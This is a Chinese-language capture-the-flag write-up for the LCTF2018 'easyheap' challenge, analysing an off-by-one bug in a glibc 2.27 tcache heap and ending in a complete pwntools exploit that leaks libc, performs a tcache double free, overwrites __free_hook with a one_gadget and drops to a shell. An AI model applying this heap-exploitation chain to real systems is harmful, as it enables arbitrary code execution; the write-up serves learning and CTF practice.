LCTF2018_easyheap

2.27下的tcache,题目链接:https://github.com/wangtsiao/ctf_writeups/tree/c7d9fb249315708375eae2a5ba1bef61ec9d9837/LCTF2018_easyheap

查看保护

全开,改hook吧。

分析

malloc

将全局变量202050赋值给了v0,正常循环10次,创建了0xf8大小的堆,存放在v0+16LL*i的这个位置,如果这个地方没有值,则创建失败,接下来输入size,size不能大于0xf8,否则会进sub_BBF这个函数,将size存放到16 * i + 202050 + 8的这个位置。也就是在malloc指针 + 8的地址。最后输入content,跟进sub_BEC函数

a1=malloc_ptr,a2=size,v3=0,先判断size的是否为空,在malloc_ptr[0]开始输入,但是在判断时是size-1时结束 ,接着malloc_ptr[size] = 0,这里存在off-by-one,因为判断时比size小了一个,但最后一个却给赋值为0。所以这里存在着off-by-one,会溢出到下一个的inuse位。

1
2
3
4
def malloc(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('size \n> ', str(size))
r.sendlineafter('content \n> ', content)

free

输入index,判断index和index* 16 + 202050的合法性,free掉但是没有UAF,被清0了。

1
2
3
def free(index):
r.sendlineafter(menu, '2')
r.sendlineafter('index \n> ', str(index))

puts

没什么说的,判断合法性,直接输出。

1
2
3
def puts(index):
r.sendlineafter(menu, '3')
r.sendlineafter('index \n> ', str(index))

编写exp

第一步肯定是泄露基址,因为保护全开改hook,可以通过unstortedbin来泄露。用overlapping heap chunk这个方法吧,因为存在tcache,所以需要填满tcache。还需要改prev_size,可以使用堆合并来改写。

先准备7个chunk,为接下来填满tcache做准备。再创建3个chunk为unstortedbin做准备。

1
2
for i in range(7):
malloc(0x10, 'aaaa')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555605000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x555555605250
Size: 0xb1

Allocated chunk | PREV_INUSE chunk0
Addr: 0x555555605300
Size: 0x101

Allocated chunk | PREV_INUSE chunk1
Addr: 0x555555605400
Size: 0x101

Allocated chunk | PREV_INUSE chunk2
Addr: 0x555555605500
Size: 0x101

Allocated chunk | PREV_INUSE chunk3
Addr: 0x555555605600
Size: 0x101

Allocated chunk | PREV_INUSE chunk4
Addr: 0x555555605700
Size: 0x101

Allocated chunk | PREV_INUSE chunk5
Addr: 0x555555605800
Size: 0x101

Allocated chunk | PREV_INUSE chunk6
Addr: 0x555555605900
Size: 0x101

Allocated chunk | PREV_INUSE chunk7
Addr: 0x555555605a00
Size: 0x101

Allocated chunk | PREV_INUSE chunk8
Addr: 0x555555605b00
Size: 0x101

Allocated chunk | PREV_INUSE chunk9
Addr: 0x555555605c00
Size: 0x101

Top chunk | PREV_INUSE topchunk
Addr: 0x555555605a00
Size: 0x20601

接下来释放0-5,最后再释放一个9吧。释放9是因为0-6释放时下面防止与top_chunk合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bin
tcachebins
0x100 [ 7]: 0x555555605c10 —▸ 0x555555605810 —▸ 0x555555605710 —▸ 0x555555605610 —▸ 0x555555605510 —▸ 0x555555605410 —▸ 0x555555605310 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

接下来再释放6-8,那么chunk6-8就会被合并,大小为0x301

1
2
for i in range(6, 9):
free(i)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555605000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x555555605250
Size: 0xb1

Free chunk (tcache) | PREV_INUSE chunk0
Addr: 0x555555605300
Size: 0x101
fd: 0x00

Free chunk (tcache) | PREV_INUSE chunk1
Addr: 0x555555605400
Size: 0x101
fd: 0x555555605310

Free chunk (tcache) | PREV_INUSE chunk2
Addr: 0x555555605500
Size: 0x101
fd: 0x555555605410

Free chunk (tcache) | PREV_INUSE chunk3
Addr: 0x555555605600
Size: 0x101
fd: 0x555555605510

Free chunk (tcache) | PREV_INUSE chunk4
Addr: 0x555555605700
Size: 0x101
fd: 0x555555605610

Free chunk (tcache) | PREV_INUSE chunk5
Addr: 0x555555605800
Size: 0x101
fd: 0x555555605710

Free chunk (unsortedbin) | PREV_INUSE chunk6-8
Addr: 0x555555605900
Size: 0x301
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Free chunk (tcache) chunk9
Addr: 0x555555605c00
Size: 0x100
fd: 0x555555605810

Top chunk | PREV_INUSE
Addr: 0x555555605d00
Size: 0x20301

pwndbg> bin
tcachebins
0x100 [ 7]: 0x555555605c10 —▸ 0x555555605810 —▸ 0x555555605710 —▸ 0x555555605610 —▸ 0x555555605510 —▸ 0x555555605410 —▸ 0x555555605310 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555605900 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555605900
smallbins
empty
largebins
empty

因为要利用unstortedbin来泄露,所以需要先将tcache bin给清除(创建同大小堆块时会先在tcache bin中查找符合堆)

1
2
for i in range(7):
malloc(0x10, 'aaaa')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555605000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x555555605250
Size: 0xb1

Allocated chunk | PREV_INUSE chunk6
Addr: 0x555555605300
Size: 0x101
Allocated chunk | PREV_INUSE
Allocated chunk | PREV_INUSE chunk5
Addr: 0x555555605400
Size: 0x101

Allocated chunk | PREV_INUSE chunk4
Addr: 0x555555605500
Size: 0x101

Allocated chunk | PREV_INUSE chunk3
Addr: 0x555555605600
Size: 0x101

Allocated chunk | PREV_INUSE chunk2
Addr: 0x555555605700
Size: 0x101

Allocated chunk | PREV_INUSE chunk1
Addr: 0x555555605800
Size: 0x101

Free chunk (unsortedbin) | PREV_INUSE chunk7-9
Addr: 0x555555605900
Size: 0x301
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk chunk0
Addr: 0x555555605c00
Size: 0x100

Top chunk | PREV_INUSE
Addr: 0x555555605d00
Size: 0x20301

pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555605900 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555605900
smallbins
empty
largebins
empty

接下来需要要改inuse位进行overlapping,申请3个块,将unstortedbin分割。

1
2
3
malloc(0x10, 'aaaa')
malloc(0x10, 'bbbb')
malloc(0x10, 'cccc')

1
2
3
4
5
6
7
8
9
10
11
Allocated chunk | PREV_INUSE					chunk7
Addr: 0x555555605900
Size: 0x101

Allocated chunk | PREV_INUSE chunk8
Addr: 0x555555605a00
Size: 0x101

Allocated chunk | PREV_INUSE chunk9
Addr: 0x555555605b00
Size: 0x101

unstortedbin被分割了。现在需要将chunk7和chunk8合并起来达到泄露libc_base的目的,所以要改一下chunk9的inuse位。要改chunk9的inuse位,需要进行off-by-one。进行off-by-one时就需要借助chunk8,所以要释放chunk8,还要填满tcache,但是为了让chunk8第一个被启用,所以跟据tcache的机制,最后再释放chunk8。

1
2
3
for i in range(6):
free(i)
free(8)
1
2
3
pwndbg> bin
tcachebins
0x100 [ 7]: 0x555555605a10 —▸ 0x555555605410 —▸ 0x555555605510 —▸ 0x555555605610 —▸ 0x555555605710 —▸ 0x555555605810 —▸ 0x555555605c10 ◂— 0x0

接下来释放chunk7进unstortedbin,因为是让chunk7和chunk8合并起来,进行泄露,所以要让chunk7的fd和bk指向unstortedbin。

1
free(7)

接下来需要合并,所以让chunk8对chunk9的inuse位进行更改。申请一个0xF8大小的chunk使得off-by-one进行溢出。

1
malloc(0xf8, 'aaaa')

可以看到chunk9的inuse位已经被改为0了。但是上面申请了0xf8的大小的堆块是从tcache中取走的,chunk0变得了chunk8,所以需要再释放一个让其填满。

1
free(6)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> bin
tcachebins chunk6 chunk5 chunk4 chunk3 chunk2 chunk1
0x100 [ 7]: 0x555555605310 —▸ 0x555555605410 —▸ 0x555555605510 —▸ 0x555555605610 —▸ 0x555555605710 —▸ 0x555555605810 —▸ 0x555555605c10 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555605900 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555605900
smallbins
empty
argebins
empty

接下来释放9,进unstortedbin。

1
free(9)

这一步进行堆合并,要将chunk7重新启用,所以需要先将tcache bin清除。再取就是取chunk7,chunk0做为unstortedbin合并块的头。而chunk9是unstortedbin

1
2
3
for i in range(7):
malloc(0x10, 'aaaa')
malloc(0x10, 'bbbb')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555605000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x555555605250
Size: 0xb1

Allocated chunk | PREV_INUSE chunk1
Addr: 0x555555605300
Size: 0x101

Allocated chunk | PREV_INUSE chunk2
Addr: 0x555555605400
Size: 0x101

Allocated chunk | PREV_INUSE chunk3
Addr: 0x555555605500
Size: 0x101

Allocated chunk | PREV_INUSE chunk4
Addr: 0x555555605600
Size: 0x101

Allocated chunk | PREV_INUSE chunk5
Addr: 0x555555605700
Size: 0x101

Allocated chunk | PREV_INUSE chunk6
Addr: 0x555555605800
Size: 0x101

Allocated chunk | PREV_INUSE chunk8
Addr: 0x555555605900
Size: 0x101

Free chunk (unsortedbin) | PREV_INUSE chunk0 chunk9
Addr: 0x555555605a00
Size: 0x201
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk chunk7
Addr: 0x555555605c00
Size: 0x100

Top chunk | PREV_INUSE
Addr: 0x555555605d00
Size: 0x20301

因为chunk0—-》chunk9,所以直接show(0),一把梭。

1
2
puts(0)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0

libc_base泄露出来之后,可以改hook了,直接double free,因为上面还有一个chunk9是unstortedbin,再次申请时会和chunk0是一样的地址。

1
malloc(0x10, 'aaaa')     	#chunk9

这里直接double free是不行的,tcache会做完整性检查,必须要先释放两个其他的。绕过检查。

1
2
3
4
5
6
7
8
9
free(1)
free(2)
free(0)
free(9)
malloc(0x10, p64(free_hook))
malloc(0x10, p64(0))
malloc(0x10, p64(onegadget))

free(3)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

context.log_level = 'debug'

file_name = './z1r0'

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.27/libc-2.27.so')

menu = '> '

def malloc(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('size \n> ', str(size))
r.sendlineafter('content \n> ', content)

def free(index):
r.sendlineafter(menu, '2')
r.sendlineafter('index \n> ', str(index))

def puts(index):
r.sendlineafter(menu, '3')
r.sendlineafter('index \n> ', str(index))

def dbg():
gdb.attach(r)

for i in range(7):
malloc(0x10, 'aaaa')

for i in range(3):
malloc(0x10, 'bbbb')

for i in range(6):
free(i)
free(9)

for i in range(6, 9):
free(i)

for i in range(7):
malloc(0x10, 'aaaa')

malloc(0x10, 'aaaa')
malloc(0x10, 'bbbb')
malloc(0x10, 'cccc')

for i in range(6):
free(i)
free(8)

free(7)

malloc(0xf8, 'aaaa')

free(6)

free(9)

for i in range(7):
malloc(0x10, 'aaaa')
malloc(0x10, 'bbbb')

puts(0)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
onegadget = libc_base + one[1]

malloc(0x10, 'aaaa')
free(1)
free(2)

free(0)
free(9)
malloc(0x10, p64(free_hook))
malloc(0x10, p64(0))
malloc(0x10, p64(onegadget))
free(3)

r.interactive()